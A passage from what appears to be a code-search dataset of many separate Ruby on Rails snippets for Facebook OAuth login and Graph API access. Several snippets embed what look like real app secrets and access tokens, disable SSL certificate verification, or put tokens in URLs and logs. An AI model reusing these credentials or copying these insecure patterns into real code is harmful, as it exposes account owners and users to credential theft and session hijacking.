507527287\n #sig : ddf9dffcd85fcc41dbe4257b5eee922b\n #base_domain : gear.com\n #secret : fSoxbS_tGGF0oP2c9_SUbw__\n #access_token : 225955489319|2.KBSGTAnBP5tSEIxJBXcWfA__.3600.1278799200-507527287|d5zULU1zLZFguUUcsqVU0-C-tOM.\n #session_key : 2.KBSGTAnBP5tSEIxJBXcWfA__.3600.1278799200-507527287\n #expires : 1278799200\n\n user = User.find_by_fb_user_id(fb_cookie[\"uid\"])\n\n # cant find the user in the db but they have a fb session..\n return unless user\n \n # Add fb user to the user object and set the current user\n self.current_user = user \n end", "def facebook\n FbConnection\n end", "def facebook\n handle_auth \"facebook\"\n end", "def facebook\n social_login(request.env['omniauth.auth'], current_user,\"Facebook\")\n end", "def facebook\n handle_oauth\n end", "def facebook_profile\n @network = current_user.network ||= Network.new\n (@network.facebook.nil?) ? \"\" : @network.facebook\n end", "def get_facebook_user(facebook_id)\n @graph = Koala::Facebook::API.new(fb_access_token) if !fb_access_token.blank?\n @graph ? @graph.get_object(\"me\") : nil\n end", "def facebook\n callback\n end", "def facebook_authentication\n begin\n data = 0\n user = WebUser.find_by_email(params[:email])\n \n if user.nil?\n data = register(params[:provider], params[:uid], params[:name], params[:email], params[:oauth_token], params[:gender], params[:birthday], params[:nickname])\n else\n data = user\n check_pending_friends(user['id'], user['bv_player_id'], user['email'])\n end\n rescue\n data = 1\n end\n \n render :json => data\n end", "def fetch_facebook_params\n\n @fb_details = request.env['omniauth.auth']\n redirect_to main_app.root_path if @fb_details.nil?\n\n session[:email] = @fb_details[:info][:email]\n session[:firstname] = @fb_details[:info][:first_name]\n session[:lastname] = @fb_details[:info][:last_name]\n session[:fb_token] = @fb_details[:credentials][:token]\n\n end", "def facebook_auth_cache\n self.auth_profiles.where(provider: 'facebook').first\n end", "def facebook\n # By default, client-side authentication gives you a short-lived\n # token:\n short_lived_token = params[:access_token]\n\n fb_hash = GenericApiRails.config.facebook_hash\n if fb_hash.nil?\n logger.error('Facebook login/signup not configured. For configuration instructions see controllers/generic_api_rails/authentication_controller.rb in the generic_api_rails project')\n render :json => { success: false , error: \"Facebook login/signup not configured\" }\n return\n end\n\n app_id = fb_hash[:app_id]\n app_secret = fb_hash[:app_secret]\n\n # to upgrade it, hit this URI, and use the token it hands back:\n token_upgrade_uri = \"https://graph.facebook.com/oauth/access_token?client_id=#{app_id}&client_secret=#{app_secret}&grant_type=fb_exchange_token&fb_exchange_token=#{short_lived_token}\"\n\n begin\n res = URI.parse(token_upgrade_uri).read\n\n res_hash = Rack::Utils.parse_query(res)\n\n long_lived_token = res_hash['access_token']\n rescue Exception => x\n logger.error(self.class.name + \" - facebook: #{x}\")\n long_lived_token = short_lived_token\n # render :json => { :error => \"token-upgrade error (#{x})\" }\n # return\n end\n\n # at this point, we have verified that the credential is authorized by\n # Facebook- facebook has even given us a long-lived token to\n # manipulate this credential via FB. Now, all we need is some details\n # about our credential, namely the credential ID, and email. We use Koala\n # here because it is a more flexible endpoint for Facebook, and we\n # don't want to be using OAuth here - we already have the token we\n # need.\n\n @graph = ::Koala::Facebook::API.new(long_lived_token, app_secret)\n fb_user = @graph.get_object(\"me\", fields: \"email,first_name,last_name,middle_name,birthday,about,location\")\n # logger.info(\"FB_USER: #{fb_user}\")\n uid = fb_user[\"id\"]\n profile_pic = @graph.get_picture(uid, { height: 500, width: 500 })\n\n # create a hash that matches what oauth spits out, but we've done\n # it with Koala:\n @provider = \"facebook\"\n @uid = uid\n @email = fb_user[\"email\"]\n\n person_hash = {\n fname: fb_user[\"first_name\"],\n lname: fb_user[\"last_name\"],\n minitial: fb_user[\"middle_name\"],\n profile_picture_uri: profile_pic,\n birthdate: fb_user[\"birthday\"]\n }\n\n @results = GenericApiRails.config.oauth_with.call(provider: \"facebook\", uid: uid, email: @email , person: person_hash)\n\n if @results[0].nil?\n # error = @results[1]\n @credential = nil\n else\n @credential = @results[0]\n end\n\n done\n end", "def fb_user\n FbGraph::User.me(fb_token)\n end", "def facebook\n @user = User.find_for_facebook_oauth(request.env[\"omniauth.auth\"], current_user)\n\n if @user.persisted?\n @user\n sign_in_and_redirect @user, :event => :authentication #this will throw if @user is not activated\n set_flash_message(:notice, :success, :kind => \"Facebook\") if is_navigational_format?\n else\n request.env[\"omniauth.auth\"]\n session[\"devise.facebook_data\"] = request.env[\"omniauth.auth\"]\n redirect_to new_user_registration_url\n end\n end", "def facebook_id \n self.facebook_auth_cache.uid\n end", "def facebook_callback\n user_data = parse_facebook_user_data\n token = sign_user_token(user_data[\"email\"],\"facebook\")\n\n user = User.find_by_token(token)\n if user\n set_current_user(user)\n else\n user = User.new(:email => user_data[\"email\"],\n :nick => user_data[\"first_name\"],\n :token => token)\n user.save!\n\n set_current_user(user)\n end\n redirect_to :controller => \"sales_management\",\n :action => \"index\",\n :user_id => user.id\n end", "def fetch_facebook_params\n\n @fb_details = request.env['omniauth.auth']\n redirect_to main_app.root_path if @fb_details.nil?\n\n @fb_data = Hash.new\n @fb_data[:email] = @fb_details[:info][:email]\n @fb_data[:firstname] = @fb_details[:info][:first_name]\n @fb_data[:lastname] = @fb_details[:info][:last_name]\n @fb_data[:fb_token] = @fb_details[:credentials][:token]\n @fb_data[:image] = @fb_details[:info][:image].concat(\"?type=#{SIZE}\")\n\n return @fb_data\n end", "def fbCall(path,params = {})\n params['access_token'] = self.token ? self.token['access_token'] : self.originalFriend.token['access_token']\n getJSON(\"https://graph.facebook.com#{path}\", params)\n end", "def facebook\n @facebook ||= Koala::Facebook::API.new(oauth_token)\n block_given? ? yield(@facebook) : @facebook\n rescue Koala::Facebook::APIError => e\n logger.info.e.to_s\n nil\n end", "def authenticate(fb_user)\n \n \n end", "def facebook_callback\n hash = request.env[\"omniauth.auth\"]\n if hash\n email = hash[\"info\"][\"email\"]\n username = hash[\"info\"][\"nickname\"]\n gender = hash[\"extra\"][\"raw_info\"][\"gender\"]\n provider = hash[\"provider\"]\n gid = hash[\"uid\"]\n token = hash[\"credentials\"][\"token\"]\n auth = Authentication.find_by_provider_and_gid(provider, gid)\n if !gamer_signed_in?\n if auth\n if auth.gamer\n flash[:success] = t(:signed_in_fb)\n sign_in_and_redirect(:gamer, auth.gamer)\n else\n flash[:error] = t(:no_account)\n redirect_to \"/gamers/sign_up\"\n end\n else\n gamer = Gamer.find_by_email(email)\n if gamer\n Authentication.create_with_omniauth(provider, gid,\n token, nil, email, gamer.id)\n flash[:success] = t(:signed_in_fb)\n sign_in_and_redirect(:gamer, gamer)\n else\n session[\"devise.token\"] = token\n session[\"devise.gid\"] = gid\n session[\"devise.token_secret\"] = nil\n flash[:info] = t(:continue_reg_fb)\n redirect_to controller: \"social_registrations\",\n action: \"new_social\", email: email, username: username,\n gender: gender, provider: provider\n end\n end\n else\n if !auth\n Authentication.create_with_omniauth(provider,gid,\n token, nil, email, current_gamer.id)\n flash[:success] = t(:logged_in_to_fb)\n redirect_to \"/gamers/edit\"\n else\n Authentication.update_token(current_gamer.id, provider, token)\n redirect_to \"/games/post_facebook\"\n end\n end\n else\n flash[:error] = t(:oops_error_fb)\n redirect_to root_url\n end\n end", "def find_for_facebook_oauth(auth, current_user = nil)\n if current_user && current_user.accounts.facebook.where(uid: auth['uid']).exists?\n current_user\n else\n includes(:accounts)\n .where(accounts: {type: Accounts::Facebook, uid: auth['uid']})\n .first\n end\n end", "def facebook\n @facebook ||= Koala::Facebook::API.new(oauth_token)\n end", "def facebook_callback\n if params[:error_reason]\n redirect_to :controller => :home, :action => :index\n return\n end\n oauth_info = OauthToken.get_oauth_info('facebook')\n uri = URI.parse(\"https://graph.facebook.com/oauth/access_token\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n new_params = {:client_id => oauth_info['consumer_key'],\n :client_secret => oauth_info['consumer_secret'],\n :redirect_uri => oauth_info['callback'],\n :code => params[:code]}\n \n request = Net::HTTP::Post.new(uri.request_uri)\n request.set_form_data(new_params)\n response = http.request(request)\n \n fields = response.body.split('=')\n access_token = fields[1]\n\n oauth_token = OauthToken.find_by_token_and_site_token(access_token,'facebook')\n \n if current_user and oauth_token.present? and oauth_token.user and current_user != oauth_token.user\n redirect_to :controller => :oauth, :action => :duplicate_users, :id => oauth_token.id\n return\n end\n\n # Create the Oauth token\n if oauth_token\n oauth_token.update_attributes({:site_token => 'facebook',\n :site_name => \"Facebook\",\n :token => access_token}) \n oauth_token.get_user_info\n else\n oauth_token = OauthToken.create({:user_id => (current_user ? current_user.id : nil),\n :site_token => 'facebook',\n :site_name => \"Facebook\",\n :token => access_token}) \n oauth_token.get_user_info\n \n TrackedAction.add(:connected_to_third_party_site, oauth_token.user)\n TrackedAction.add(:connected_to_facebook, oauth_token.user)\n oauth_token.user.give_level_up_credits(10)\n end\n\n OauthToken.delay.autofollow_friends(oauth_token.id)\n\n flash[:authenticated_facebook] = 1\n if !session[:redirect_after_oauth].blank?\n redirect_to session[:redirect_after_oauth]\n session[:redirect_after_oauth] = nil\n else\n redirect_to :controller => :home, :action => :index\n end\n end", "def fb_friends\n graph = facebook()\n facebook().get_connection('me','friends') if graph\n end", "def current_user\n User.find_by(facebook_id: params[:facebook_id])\n end", "def fetch_facebook_friends\n\t\treturn fetch_facebook_friends_or_subscribers_or_subscribedto(\"friends\")\n\tend", "def fb_profile_url\n \"http://www.facebook.com/profile.php?id=#{fb_user_id}\"\n end", "def user_from_code(temp_code)\n MiniFB.get(access_token(temp_code), \"me\")\n end", "def fb_me token=nil\n \t\tif ENV['PAGE_ID']\n \t\t\t@token = token || Rails.cache.read('page_token') || ENV['PAGE_TOKEN']\n \t\t\t@fb_user = FbGraph::Page.new( ENV['PAGE_ID'], :access_token => @token ).fetch\n \t\telse\n\t\t\t@token = token || Rails.cache.read('TOKEN') || ENV['TOKEN']\n \t\t\t@fb_user = FbGraph::User.me( @token )\n \t\tend\n \tend", "def fb_auth\n @auth ||= self.authentications.facebook.first\n end", "def facebook\n oauth_info = OauthToken.get_oauth_info('facebook')\n session[:redirect_after_oauth] = params[:redirect_to] ? params[:redirect_to] : nil\n redirect_to \"https://graph.facebook.com/oauth/authorize?client_id=#{oauth_info['consumer_key']}\"+\n \"&redirect_uri=#{oauth_info['callback']}\"+\n \"&scope=read_stream,publish_stream,publish_actions,offline_access,user_likes,user_status,\"+\n \"user_birthday,user_relationships,user_relationship_details,\"+\n \"email,user_checkins,sms,user_online_presence\"+\n \"&display=touch\"\n end", "def find_facebook_friends_with_accounts\n load_facebook_api\n friends = @facebook_api.get_connections('me', 'friends')\n \n friend_ids = []\n friends.each { |friend| friend_ids << friend['id'] }\n\n auths = Authorization.where(:provider => 'facebook', :uid => friend_ids)\n\n output = []\n auths.each { |auth| output << auth.user }\n\n output\n end", "def uuser\n # We can easily get the p-key of user of the session. So, that makes a nice demo:\n @fql_query= \"SELECT name, pic_square, profile_url, username, website, is_blocked, email FROM user WHERE uid = #{@facebook_session.user.uid}\"\n # fql_query() returns an array. \n # In this example the array contains only 1 element and we use .first() to get it.\n @qry_output= @facebook_session.fql_query(@fql_query).first\n end", "def fb_load_api\n\n\n end", "def load_facebook_api\n return if !@facebook_api.nil?\n \n # Find the user token\n auth = authorizations.where(:provider => 'facebook').first\n if !auth.nil?\n @facebook_api = Koala::Facebook::API.new(auth.token)\n else\n raise 'User does not have a Facebook authorization.'\n end\n end", "def show\n auth = Facebook.auth.from_cookie(cookies)\n authenticate Facebook.identify(auth.user)\n redirect_to dashboard_url\n end", "def logged_in_to_facebook_and_app_authorized\n if ensure_application_is_installed_by_facebook_user \n # filter_parameter_logging :fb_sig_friends # commenting out for now because it fails sometimes\n end\n end", "def link_fb_to_user\n\t\trender :json=>{:success=>false, :msg=>'User not logged in.'} and return if @user.nil?\n\n\t\taccess_token = params[:access_token]\n\t\t\n\t\t#url = 'https://graph.facebook.com/me?access_token='+access_token\n\t\tbegin\n\t\t\tfb_user = FbGraph::User.fetch('me', :access_token=>access_token)\n\t\t\tfb_id = fb_user.identifier\n\t\t\temail = fb_user.email.strip.downcase\n\t\t\t\n\t\t\t#Check if user exists by email\n\t\t\tuser = User.find_by_email(email)\n\t\t\trender :json=>{:success=>false, :msg=>'An account already exists under your Facebook email.'} and return if (!user.nil? && user.id!=@user.id)\n\t\t\t\n\t\t\t#Check if user exists by Facebook ID\n\t\t\tuser = User.find_by_fb_id(fb_id)\n\t\t\trender :json=>{:success=>false, :msg=>'An account already exists under this Facebook account.'} and return if (!user.nil? && user.id!=@user.id)\n\t\t\t\n\t\t\t@user.fb_id = fb_id\n\t\t\t@user.fb_access_token = access_token\n\t\t\t\n\t\t\t@user.save\n\t\t\tsession['user'] = @user\n\t\t\t\n\t\t\trender :json=>{:success=>true, :msg=>'success'} and return\n\t\t\t\n\t\trescue\n\t\t\trender :json=>{:success=>false, :msg=>'There was an error. Refresh the page and try again.'} and return\n\t\tend\n\tend", "def return_from_general_auth\t\n # back from oauth wormhole..obtain facebook user and credentials\n oauth = Koala::Facebook::OAuth.new(APP_ID, APP_SECRET, GEN_AUTH_CALLBACK)\n session[:access_token] = oauth.get_access_token(params[:code])\n graph = Koala::Facebook::API.new(session[:access_token])\n facebook_user_id = graph.get_object(\"me\")[\"id\"]\n session[:individual_user_id] = \n IndividualUser.login_or_create(facebook_user_id,session[:access_token])\n\n # determine where to redirect\n state, link = false, false\n\t if params[:state]\n state = true\n decoded_state = ActiveSupport::JSON.decode(params[:state])\n \n # [Page Tab] return to the page tab\n if decoded_state['page_tab_id']\n\t\t\t graph = Koala::Facebook::API.new\n\t\t\t page_tab = graph.get_object(\"#{decoded_state['page_tab_id']}\")\n\t\t\t if page_tab[\"link\"]\n link = true\n\t\t\t\t encoded_page_state = URI.encode(ActiveSupport::JSON.encode(\n {:individual_user_id => session[:individual_user_id], \n :secret => session[:access_token]\n }))\n end\n end\n end\n \n # handle the redirect\n if state && link\n redirect_to(page_tab[\"link\"] + \n \"?sk=app_#{APP_ID}&app_data=#{encoded_page_state}\")\n else\n redirect_to(create_fb_url_with_creds(session[:individual_user_id],\n session[:access_token]))\n end\n return\n end", "def check_facebook \n return unless Facebooker.api_key\n if logged_in? and facebook_session and not current_user.has_facebook?\n return if facebook_session.user.uid == 55714215 and current_user.id != 1 # this is jim, don't add his facebook to everyone's account!\n @user = User.find(current_user.id)\n if not @user.update_with_facebook(facebook_session)\n return\n end\n if not @user.activated?\n @user.activate!\n end \n @current_user = User.find(current_user.id)\n flash.now[:notice] = t('facebook.synced', :government_name => current_government.name)\n end \n end", "def index\n\n # Authentication\n @oauth_redirect_url = request.url\n if params[:code]\n session[:access_token] = Koala::Facebook::OAuth.new(@oauth_redirect_url).get_access_token(params[:code])\n redirect_to \"#{request.protocol}#{request.host_with_port}#{request.path}\" and return\n end\n\n @fb_users = FbUser.all\n\n respond_to do |format|\n format.html # index.html.erb\n #format.json { render json: @fb_user }\n end\n end", "def facebook_user\n (session[:facebook_session] && session[:facebook_session].session_key) ? session[:facebook_session].user : nil\n end", "def fetch_user_info_by_base_oauth(code)\n open_id = _oauth_get_open_id(code)\n _fetch_user_info(open_id)\n end", "def try\r\n\r\n\tif session[\"fb_access_token\"].present?\r\n\t@fql = Koala::Facebook::API.new(session[\"fb_access_token\"])\r\n\tfql = @fql.fql_query(\"SELECT eid FROM event_member WHERE uid = me()\")\r\n\tend\r\nend", "def facebook_data_about(item, keys = {})\n begin\n res = JSON.parse(token_get(item) || \"{}\") \n keys[:as] ? res[keys[:as]] : res\n rescue SocketError, Errno::ECONNRESET, OAuth2::HTTPError, EOFError => e\n # TODO :: hoptoad\n nil\n end\n end", "def fb_authenticate \n # If we have a new access token, validate it by attempting to get 'me',\n # the logged in facebook user\n if params[:access_token]\n begin\n rg = RestGraph.new(:access_token => params[:access_token],\n :graph_server => FBGraphServer,\n :app_id => FBAppID,\n :secret => FBAppSecret)\n me = rg.get('me')\n rescue => err\n # Unable to get me, this is not a valid acces token\n end\n end\n\n # Find the fucker associated with the facebook id\n if me\n session[:fucker] = Fucker.first(:conditions => {:facebook_id => me['id']})\n if !session[:fucker]\n session[:fucker] = Fucker.new({:name => me['name'], :facebook_id => me['id']})\n begin \n session[:fucker].save!\n rescue => e\n $log.warn(\"Unable to save new session fucker: #{e.message}\")\n session[:fucker] = nil\n end\n end\n elsif !params.has_key? :access_token && !session[:fucker]\n # No facebook user and no active active session, reset session\n reset_session\n params[:access_token] = nil\n end\n \n # Explicitly provide CSRF token in a cookie, since a new one will be generated \n # and we will need it to do non-idempotent actions\n # Also store facebook access token\n cookies['CSRF-Token'] = session[:fucker] ? form_authenticity_token : nil\n session['FB-Token'] = params[:access_token]\n \n # Create a random instance id\n instance_id = (rand * 0xffffffff).to_i;\n\n # Return the fucker\n respond_to do |format|\n format.json { render json: {:instance_id => instance_id, :fucker => session[:fucker], \n :csrf_token => cookies['CSRF-Token']}}\n end\n end", "def facebook_request\n redirect_to facebook_authenticate_url\n end", "def facebook\n @facebook ||= Koala::Facebook::API.new(oauth_token)\n block_given? ? yield(@facebook) : @facebook\nrescue Koala::Facebook::APIError => e\n logger.info e.to_s\n nil\nend", "def index \n session[:oauth] = Koala::Facebook::OAuth.new(APP_ID, APP_SECRET, SITE_URL + '/home/callback')\n @auth_url = session[:oauth].url_for_oauth_code(:permissions=>\"read_stream,publish_stream\") \t\n\t\tputs session.to_s + \"<<< session\"\n end", "def facebook\n user = User.from_facebook_omniauth(request.env[\"omniauth.auth\"])\n if user.persisted?\n sign_in_and_redirect user, notice: \"#{user.name}, you are signed in!\"\n else\n session[\"devise.user_attributes\"] = user.attributes\n redirect_to new_user_registration_url\n end\n end", "def new\n \n fb_auth = FbGraph::Auth.new('155275974530339', '309d340d359061c890906926e8139e4a')\n fb_auth.client # => Rack::OAuth2::Client\n \n client = fb_auth.client\n client.redirect_uri = \"http://localhost:3000/config_keys\"\n\n # redirect user to facebook\n redirect_to client.authorization_uri(\n :scope => [:email, :read_stream, :offline_access]\n )\n\n # in callback\n client.authorization_code = params[:code]\n access_token = client.access_token! # => Rack::OAuth2::AccessToken\n FbGraph::User.me(access_token).fetch # => FbGraph::User\n \n end", "def get_user_profile(access_token)\n options = { query: { access_token: access_token, fields: 'name,email' } }\n response = self.class.get('/me', options)\n # Something went wrong most propably beacuse of the connection.\n unless response.success?\n Rails.logger.error 'Omniauth::Facebook.get_user_profile Failed'\n fail Omniauth::ResponseError, 'errors.auth.facebook.user_profile'\n end\n response.parsed_response\n end", "def fb_token\n x = self.authentications.find_by(provider: 'facebook')\n return x.token unless x.nil?\n end", "def fb_token\n x = self.authentications.find_by(provider: 'facebook')\n return x.token unless x.nil?\n end", "def fb_token\n x = self.authentications.find_by(provider: 'facebook')\n return x.token unless x.nil?\n end", "def fetch_social\n social_fs\n social_ts\n end", "def has_facebook_profile?\n fb_userid.present?\n end", "def ensure_authenticated\n if current_facebook_user.nil? && params[:Caller].blank?\n redirect_to url_for(:controller => \"login\")\n else\n if params[:Caller]\n phone = params[:Caller].match(/(\\d){10}$/)[0]\n @user = Phone.find_by_number(phone).try(:user)\n unless @user\n redirect_to url_for(:controller => \"login\", :action => \"not_found\", :format => :xml)\n return\n end\n offline_client = Mogli::Client.new(@user.facebook_access_token, nil)\n fb_user = Mogli::User.find(@user.facebook_id, offline_client) # reusing current_facebook_user breaks use in else, somehow\n else\n @user = User.find_or_create_by_facebook_id(current_facebook_user.id)\n #not the best place, but ...\n set_access_token\n current_facebook_user.fetch\n end\n @feed = FbFeed.new(@user)\n logger.debug(\"twilio, #{ @feed }\")\n logger.debug(\"url = https://graph.facebook.com/#{ @user.facebook_id }/home?access_token=#{ @user.facebook_access_token }\")\n end\n end", "def facebook\n if request.env['omniauth.params']['role'] == \"user\"\n action = request.env['omniauth.params'] && request.env['omniauth.params']['action'] ? request.env['omniauth.params']['action'] : nil\n role = request.env['omniauth.params']['role']\n unless ['signin', 'signup', 'connect'].include? action\n raise 'wrong parameters for facebook auth'\n end\n @user = User.find_for_facebook_oauth(request.env[\"omniauth.auth\"])\n @status = 'failed'\n @error = nil\n case action\n when 'signup'\n if @user\n @error = \"Compte déja associé avec un autre utilisateur\"\n elsif current_user\n @error = 'Vous êtes déja connecté'\n else\n @user = User.create_for_facebook_oauth(request.env[\"omniauth.auth\"], role)\n sign_in @user\n redirect_to root_path\n end\n when 'signin'\n if !@user\n @error = 'Ce compte ne correspond a aucun utilisateur'\n elsif current_user\n @error = 'Vous êtes déja connecté'\n else\n @user.update_for_facebook_oauth(request.env[\"omniauth.auth\"])\n sign_in @user\n redirect_to root_path\n end\n when 'connect'\n if @user\n if current_user && @user.id == current_user.id\n @error = 'Ce compte vous est déja associé'\n else\n @error = 'Ce compte est déja associé avec un autre utilisateur'\n end\n elsif !current_user || !current_user.id\n @error = 'Vous n\\'êtes pas connecté'\n else\n @user = current_user\n @user.connect_for_facebook_oauth(request.env[\"omniauth.auth\"])\n redirect_to user_profile\n end\n end\n if @error\n case action\n when 'signup'\n redirect_to user_signup_path(:error => @error)\n when 'signin'\n redirect_to user_signin_path(:error => @error)\n when 'connect'\n redirect_to edit_user_registration_path(:error => @error)\n end\n end\n end\n end", "def set_facebook_url\n facebook_id = user.authorization.uid\n \"http://graph.facebook.com/#{facebook_id}/picture\"\n end", "def show\n auth = Facebook.auth.from_cookie(cookies)\n authenticate Facebook.identify(auth.user)\n redirect_to dashboard_url\n end", "def create\n client = Facebook.auth(callback_facebook_url).client\n client.authorization_code = params[:code]\n access_token = client.access_token!\n user = FbGraph::User.me(access_token).fetch\n authenticate Facebook.identify(user)\n# redirect_to dashboard_url\n redirect_to root_url\n end", "def facebook\n handle_redirect('devise.facebook_data', 'Facebook')\n end", "def fb_token\n \tx = self.authentications.where(:provider => :facebook).first\n \treturn x.token unless x.nil?\n end", "def facebook_oauth\n # Insert your own Facebook client ID and secret here\n # auth = Koala::Facebook::OAuth.new(ENV[\"FACEBOOK_KEY\"], ENV[\"FACEBOOK_SECRET\"])\n\n @facebook_oauth = Koala::Facebook::OAuth.new(ENV[\"FACEBOOK_KEY\"], ENV[\"FACEBOOK_SECRET\"])\n\n\n\n end", "def connected_to_facebook?\n fb_uid && fb_access_token\n end", "def connect\n raise ArgumentError unless (params[:fname] == '_opener')\n raise ArgumentError unless connect = ActiveSupport::JSON.decode(params[:session])\n\n @user = User.find_by_facebook_uid(connect['uid'])\n\n if @user.nil?\n # create a new user for the Facebook User if not present\n @user = User.new\n @user.facebook_uid = connect['uid']\n\n # XXX this is crap: login, country and email should be fetched from the facebook. Why?\n # because: login clashes could occur (if an user names itself fb_123456), the \"unknown\"\n # country is BAD design, because it's a corner case to cope with in views, and the fake\n # email is USELESS to send mewsic e-mail notifications to the user.\n #\n @user.login = \"fb_#{@user.facebook_uid}\" # XXX\n @user.country = \"unknown\" # XXX\n @user.email = \"#{@user.facebook_uid}@users.facebook.com\" # XXX\n\n @user.password = @user.password_confirmation = rand(2**32).to_s\n @user.save!\n end\n\n session[:fb_connect] = true\n self.current_user = @user\n\n # render the cross-domain communication channel\n render :layout => false\n\n rescue ActiveRecord::ActiveRecordError\n debugger\n head :forbidden\n\n rescue ArgumentError\n head :bad_request\n end", "def prepare_info_for_facebook(oauth_info)\n { uid: oauth_info.uid.to_s,\n token: oauth_info.credentials.token,\n nickname: oauth_info.info.nickname || \"fbuser_#{uid}\",\n name: oauth_info.info.name,\n email: oauth_info.info.email }\n end", "def facebook_activity(share_url=CONFIG[:host], connection_name='dropresume:update')\n if self.auth_provider == 'facebook'\n share_to_facebook(self, connection_name, \"http://#{share_url}\")\n end\n end", "def login_with_facebook\n\t\taccess_token = params[:access_token]\n\t\t\n\t\t#url = 'https://graph.facebook.com/me?access_token='+access_token\n\t\tbegin\n\t\t\tfb_user = FbGraph::User.fetch('me', :access_token=>access_token)\n\t\t\tfb_id = fb_user.identifier\n\t\t\temail = fb_user.email.strip.downcase\n\t\t\t\n\t\t\t#Check if user exists by Facebook ID\n\t\t\tuser = User.find_by_fb_id(fb_id)\n\t\t\tuser = User.find_by_email(email) if (user.nil?)\n\t\t\t\t\n\t\t\t#Create new user\n\t\t\tif (user.nil?)\n\t\t\t\tuserdata = {}\n\t\t\t\tuserdata[:firstname] = fb_user.first_name\n\t\t\t\tuserdata[:lastname] = fb_user.last_name\n\t\t\t\tuserdata[:email] = email\n\t\t\t\tuserdata[:password] = User.generate_password\n\t\t\t\tuserdata[:fb_id] = fb_user.identifier\n\t\t\t\tuserdata[:fb_access_token] = access_token\n\t\t\t\t\n\t\t\t\tuser = User.create_new_user(userdata)\n\t\t\t\tsession['show_welcome'] = true\n\t\t\telse\n\t\t\t\t#Update Facebook info\n\t\t\t\tuser.fb_id = fb_user.identifier\n\t\t\t\tuser.fb_access_token = access_token\n\t\t\t\tuser.save\n\t\t\tend\n\t\t\t\n\t\t\t#Log user in\n\t\t\tuser.temp_password = nil\n\t\t\tsession['user'] = user\n\t\t\t\n\t\t\trender :json=>{:success=>true, :msg=>'success'} and return\n\t\t\t\n\t\trescue => error\n\t\t\tputs \"Facebook auth error: \" + error.inspect\n\t\t\trender :json=>{:success=>false, :msg=>'There was an error. Refresh the page and try again.'} and return\n\t\tend\n\tend", "def facebook(name: T.unsafe(nil), email: T.unsafe(nil), username: T.unsafe(nil), uid: T.unsafe(nil)); end", "def create_from_fb\n fb_user = FbGraph::User.fetch(\n \"me?fields=first_name,last_name,\"\\\n \"gender,email,birthday\",\n :access_token => params[:access_token])\n\n @user = User.add_from_fb(fb_user,@source)\n end", "def facebook\n @facebook ||= Koala::Facebook::API.new(oauth_token)\n # error recovery (block-ish so can be shared across the rest of the Facebook methods)\n block_given? ? yield(@facebook) : @facebook\n rescue Koala::Facebook::APIError => e\n if Rails.env.production?\n logger.info e.to_s\n nil\n else\n raise e\n ### e.fb_error_xx parses the error, as in e.fb_error_type, e.fb_error_code, ...\n end\n end", "def profile_picture\n\t\tFbGraph::User.me(self.oauth_token).fetch.picture(width: 150, height: 200)\n\tend", "def facebook\n @user = User.find_or_create_for_facebook(request.env[\"omniauth.auth\"], current_user)\n flash[:alert] = \"Signed in with Facebook successfully.\"\n # use devise-provided method to redirect the user\n if @user.sign_in_count == 0\n sign_in @user, :event => :authentication\n redirect_to users_get_path\n else\n sign_in_and_redirect @user, :event => :authentication\n end\n end", "def facebook_uid\n @json['uid']\n end", "def facebook\n authorize! :connect_facebook, current_user\n facebook = Koala::Facebook::API.new(params[:fb_token])\n me = facebook.get_object(\"me\")\n \n @user = current_user\n @user.update_attributes(fb_uid: me['id'], fb_token: facebook.access_token, fb_token_expires_at: params[:fb_token_expires_at], fb_token_refreshed_at: params[:fb_token_refreshed_at])\n @include_auth_token = true\n respond_with @user, :location => nil\n \n rescue Koala::Facebook::APIError => error\n render :json => { :error => error.fb_error_message }, :status => :unauthorized\n end", "def like\n login_to_facebook\n bob.like\nend", "def get_fb_user_name\n return self.facebook_user.now_profile.first_name unless self.facebook_user.nil? || self.facebook_user.now_profile.nil? \n return Event::NOW_BOT_NAME \n end", "def fb_token\n x = self.authentications.where(:provider => :facebook).first\n return x.token unless x.nil?\n end", "def create\n @facebook_url = FacebookUrl\n p 'fb url'\n puts @facebook_url\n token_info = FacebookAuth.get_user_info_from_cookies(cookies)\n puts \"cookies: #{cookies.inspect}\"\n if (token_info)\n p 'cookie token'\n @user = User.add_facebook(token_info)\n redirect_to :action => 'show', :id => @user.id\n elsif (params[:code]) \n p 'params[:code]'\n token_info = FacebookAuth.get_access_token_info(params[:code])\n @user = User.add_facebook(token_info)\n redirect_to :action => 'show', :id => @user.id\n else\n p 'redirecting to fb'\n render :layout => false, :inline => \"<html><head>\\n<script type=\\\"text/javascript\\\">\\nwindow.top.location.href = '<%=raw(@facebook_url) %>';\\n</script>\\n\"\n #https://graph.facebook.com/oauth/authorize?client_id=163086873741036&redirect_uri=http://apps.facebook.com/friends_mapper/&scope=user_location,friends_location,publish_stream\n end\n \n end", "def get_profile(id)\n \t\tfb_profile_url = FB_PROFILE + id + FB_PROFILE_FIELDS\n \t\tprofile_details = HTTParty.get(fb_profile_url)\n \t\t@first_name = profile_details[\"first_name\"]\n \t\t@last_name = profile_details[\"last_name\"]\n \t\t@profile_pic = profile_details[\"profile_pic\"]\n \t\t@locale = profile_details[\"locale\"]\n \t\t@gender = profile_details[\"gender\"]\n \tend", "def proc_facebook_login\n \n puts \"proc_facebook_login\"\n \n puts request.env['rack.auth'].inspect\n \n \n # If user is already logged in, grab session variables\n if session[:user_name] && !session[:user_name].empty?\n @real_name = session[:real_name] \n @user_name = session[:user_name]\n @user_image = session[:user_image] \n else\n # If user is not logged in, grab authentication varaibles\n @real_name = request.env['rack.auth']['user_info']['name']\n @user_name = request.env['rack.auth']['user_info']['name']\n #@user_image = request.env['rack.auth']['user_info']['image']\n @user_image = \"\"\n \n session[:user_name] = @user_name\n session[:real_name] = @real_name\n session[:user_image] = @user_image \n end\n \n @exists = false\n @user_id = -1\n \n #puts \"Checking if user already exists in database...\"\n \n # Check if user already exists in database\n User.all.each do |user|\n if user[:twitter] == @user_name\n @exists = true\n @user_id = user.id\n session[:user_id] = @user_id\n break;\n end\n end\n \n # User does not exist in database. Add new user\n if !@exists\n new_user = User.new( :twitter => @user_name, :name => @real_name )\n new_user.save\n \n @user_id = new_user.id\n session[:user_id] = @user_id\n end\n \n # Redirect to the user home page\n redirect_to :action => \"home\"\n end", "def fb_friends\n fb_user = FbGraph::User.new('me', :access_token => self.access_token)\n fb_user.friends\n end", "def facebook_friends\n User.where(:guid => self.facebook_friend_guids)\n end", "def fb_get_results(client, page_div)\n results = []\n\n images = page_div.query_selector_all(\n 